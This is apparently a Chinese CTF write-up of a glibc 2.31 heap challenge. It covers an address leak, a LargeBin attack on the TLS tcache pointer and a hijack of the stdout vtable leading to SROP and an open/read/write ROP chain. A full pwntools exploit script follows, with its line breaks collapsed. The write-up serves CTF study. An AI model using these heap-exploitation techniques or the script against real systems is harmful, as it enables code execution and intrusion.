glibc2.31下通過IOAttack開啟ROP
01、程序分析

每次開始前會檢查兩個hook

Add會情況tcache

Delete就是正常的刪除
View會根據strlen的結果輸出
Edit則是根據命令來的

Gift則會安裝下面的命令解析, 有一個向上的堆溢出
02、思路
雖然輸入時進行了00階段, 但是Edit寫入時沒有00階段 把一個chunk放入LargeBin然后再申請出來, 然后利用Edit覆蓋掉00再通過View就可以得到libc地址和heap地址
Gift沒有限制p的上限因此是存在堆溢出的, 但是Gift只讀入0x100, 而chunk最少0x400, 所以必須要寫一個循環的小程序實現:
[會判斷note[idx][p]是否為00, 如果是00的話就跳轉到]后面一個位置, 如果不是則什么也不做相當于nop
因此把chunk全部用AAA填充, 然后Gift執行[>], 就可以跳過所有的非空字符, 然后利用多個,>解析堆溢出
有了堆溢出之后由于限制了size>0x400, 所以就想LargeBinAttack,在rtld_global中寫入一個heap地址, 劫持fini_arr段, 在exit時觸發getshell, 但是找了半天發現程序沒用exit(), 調用的都是_exit(), 所以就只能放棄
exit()無法利用, 并且hook會有檢查, 翻一下題目發現會時不時的調用printf() getchar() 等IO相關函數, 因此就只能進行IOAttack了.
可是只有一個堆地址寫入無法完成IOAttack, 必須擴大戰果, 后來發現一個比較雞賊的地方, size>0x400包含一個0x410的大小, 而0x410就是tcache能管理的最大的size了. 所以利用LargeBinAttack直接打TLS段中的tcache指針, 劫持tcache->next[0x410]這個鏈表的鏈表, 從而實現任意寫. 同時Add每次覆蓋的都是原來的tcache對象, 不會影響劫持的, 然后就可以開啟IOAttack了
2.31下的IOAttack是比較簡單的, 雖然不能劫持虛表指針, 但是stdin/ stdout/ stderrr三個標準流使用虛表位于一個可寫入段, 可以直接利用tcache去覆蓋虛表中的函數指針為OGG, 然后調用getchar()或者printf()函數, 直接getshell
但是后續發現禁用了execve(), 因此只能想辦法通過IOAttack進行ROP, 后續發現getchar()的虛表調用指令是mov rax, [虛表+偏移]; jmp rax也就是說rax中就是指令地址, 這種跳轉是無法通過GG去控制更多寄存器的, 而printf()的虛表調用指令為lea rax, [虛表+偏移]; jmp [rax]跳轉之后rax殘留的指針指向虛表區域, 也就是我們可控的位置, 是有希望通過rax控制更多寄存器的.
但是我利用了一個更巧妙的方法來進行ROP, 虛表中調用的函數有一個特點: 函數的第一個參數就IO_FILE對象自己, 對于printf來說, 如果能夠控制IO_2_1_stdout為SigreturnFrame并且控制_IO_file_jumps中__overflow函數為setcontext就可以開啟ROP,
這就要求Tcache任意寫兩次, 可是我們只能申請一個屬于tcache的size, 但是如何要寫入的地方存在一個執行下一個要寫入地址的指針, 就可以直接偽造一個包含2個chunk的0x410的tcache鏈表, 這個條件是否存在呢?結果時存在的stdout使用的虛表同時被stdin stdout stderr三個流使用, 并且有一個特點: stderr正好高就位于stdout上方不遠處

也就是說可以把令tcache->next[0x410] = &stderr->vtable,
malloc(0x408)首先會申請到stderr的vtable指針所在位置, 向后8字節就是stdout
取出chunk1時有: tcache->next[0x410] = (&stderr->vtable)->next = vtabele,
因此再次malloc(0x408)就可以申請到stdout使用的虛表, 完成劫持

至此我們可以控制rdi與rip, 直接覆蓋函數指針為setcontext就可以開啟SROP.
但是我想額外說明一下SROP時rdi與rdx的問題. 2.27一下的libc中setcontext函數全稱使用的都是rdi, 但是在2.31中setcontext設置寄存器部分的使用的是rdx設置寄存器

當我們只能控制rdi與rip時有兩種繞過思路
rdi設置為frame地址, 調用setcontext(). 但是必須要設置保存浮點狀態的指針frame['&fpstate']部分為一個可讀寫的地址, 這樣直接執行setcontext()是沒問題的
第二種是尋找一個通過rdi設置rdx與rip的GG, 利用這個GG中轉一下, 把rdi與rip的控制權轉換為rdx與rip的控制權, 然后跳轉到setcontext+61處, 不執行fldenv指令, 直接進入到設置通用寄存器的部分

我個人更喜歡第一種思路, 只需要順便設置一個可讀可寫地址, 就不用費心思中轉了
03、EXP
#! /usr/bin/python# coding=utf-8import sysfrom pwn import *
context.log_level = 'debug'context(arch='amd64', os='linux')
def Log(name): log.success(name+' = '+hex(eval(name)))
libc = ELF('./libc.so.6')
if(len(sys.argv)==1): #local cmd = ["./pwn"] sh = process(cmd)else: #remtoe sh = remote(host, port)
def Num(n): sh.send(str(n).ljust(0x10, '\x00'))
def Cmd(n): sh.recvuntil('>> ') Num(n)
def Add(sz, cont=''): if(cont==''): cont = 'A'*sz Cmd(1) sh.recvuntil('Size: ') Num(sz) sh.recvuntil('Message: ') sh.send(cont)
def Delete(idx): Cmd(2) sh.recvuntil('Index: ') Num(idx)
def View(idx): Cmd(3) sh.recvuntil('Index: ') Num(idx)
def Edit(idx, cont): Cmd(4) sh.recvuntil('Index: ') Num(idx) sh.recvuntil('Code :') sh.send(cont)
def Gift(idx, cont): Cmd(5) sh.recvuntil('Index: ') Num(idx) sh.recvuntil('Code :') sh.send(cont)
def Exit(): Cmd(6)
def GDB(): gdb.attach(sh, ''' telescope (0x0000555555554000+0x204050) 16 break *(0x0000555555554000+0x1c1c) break *0x7ffff7e520cf break *0x7ffff7e4ea26 ''')
# A用來泄露地址, DF屬于同一個LargeBin用于進行LargeBinAttack, E用于隔開DF防止合并, C用于溢出DAdd(0x420) #AAdd(0x408) #B
Add(0x407) #CAdd(0x460) #DAdd(0x408) #EAdd(0x450) #FAdd(0x408)
#先把A放入LargeBin中再取出來使其殘留相關地址Delete(0) #UB<=>AAdd(0x500) # 整理到LB中, LB<=>ADelete(0) Add(0x420, 'A') #get A again
#覆蓋00截斷, 讀出bk獲取libc地址Edit(0, '&('*0x8+'')sh.send('A'*8)View(0)sh.recvuntil('A'*8)libc.address = u64(sh.recv(6)+b'\x00\x00')-0x1ebbe0-0x3f0Log('libc.address')
#覆蓋00階段的部分, 讀出fd_nextsize獲取heap地址, 后續發現其實沒heap地址也可以Edit(0, '&('*0x10+'')sh.send('A'*0x10)View(0)sh.recvuntil('A'*0x10)heap_addr = u64(sh.recv(6)+b'\x00\x00')-0x2b0print(hex(heap_addr))
#后續LargeBinAttack時會覆蓋TLS的tcache指針為F的地址, 因此預先在F中偽造一個tcache對象Delete(5)exp = b'\x02'*0x268 # 一個鏈表有2個chunkexp+= p64(libc.address+0x1ec698) #同時控制stdout與虛表的關鍵: Tcache[0x410] = &stderr->vtableexp = exp.ljust(0x450, b'\x00')Add(0x450, exp) #申請時寫入, 因此Edit用起來不太方便
#先把同一個Largebin中更大的那一個放入Largebin中, 因為LargeBinAttack在 要整理的chunk是所屬Largebin最小chunk時 發生Delete(3)Add(0x500) #LB<=>D
#進行堆溢出, 覆蓋D->bk_nextsize = tcache@TLS - 0x20exp = '[>]'+('>,')*0x29+''Gift(2, exp)sh.send(b'A'+flat(0x471, libc.address+0x1ebfe0, libc.address+0x1ebfe0, 0, libc.address+0x1f34f0-0x20))
#把D整理到所屬Largebin中, 觸發LargeBinAttack, 劫持TcacheDelete(5) #UB<=>D, LB<=>FAdd(0x500)
#至此我們有Tcache-> (stdout-0x8) -> (_IO_file_jumps)#先申請出來的chunk位于stdout附近, 因此要在這里布置好SigreturnFrame, 同時要保存原有數據, 不能干擾正常的調用虛表函數的邏輯exp =flat(0) #stderr->vtableexp+= flat(0xfbad2087) #stdoutfor i in range(12): exp+= flat(i)
ret = libc.address+ 0x25679buf = libc.address+0x1ec878rdi = libc.address+0x26b72rsi = libc.address+0x27529rdx = libc.address+0x11c371 #pop rdx; pop r12; ret;
exp+= flat(libc.address+0x1eb980)exp+= flat(0x101, 0x102, 0x103)exp+= flat(libc.address+0x1ee4c0)exp+= flat(0x201, 0x202)exp+= flat(libc.address+0x1ec790) # frame['rsp'], 指向后面的rop部分exp+= flat(ret) # frame['rip']exp+= flat(0x302, 0x303, 0xffffffff, 0x305, 0x306)exp+= flat(libc.address+0x1ed4a0)exp+= flat(libc.address+0x1ec5c0)exp+= flat(libc.address+0x1ec6a0)
#要執行的ROProp = flat(rdi, buf, rsi, 0, libc.symbols['open'])rop+= flat(rdi, 3, rsi, buf, rdx, 0x30, 0, libc.symbols['read'])rop+= flat(rdi, 1, rsi, buf, rdx, 0x30, 0, libc.symbols['write'])
exp+= rop.ljust(208, b'\x00')exp+= flat(0, 0, 0)exp+= b'./flag\x00'
#覆蓋stdoutAdd(0x408, exp) #alloc to stdout
#再次申請覆蓋就是虛表了, 直接覆蓋為setcontext就好exp = cyclic(0x38)exp+= flat(libc.symbols['setcontext']) Add(0x408, exp) #alloc to vtable
#然后調用printf觸發ROPEdit(1, 'A\x00')
sh.interactive()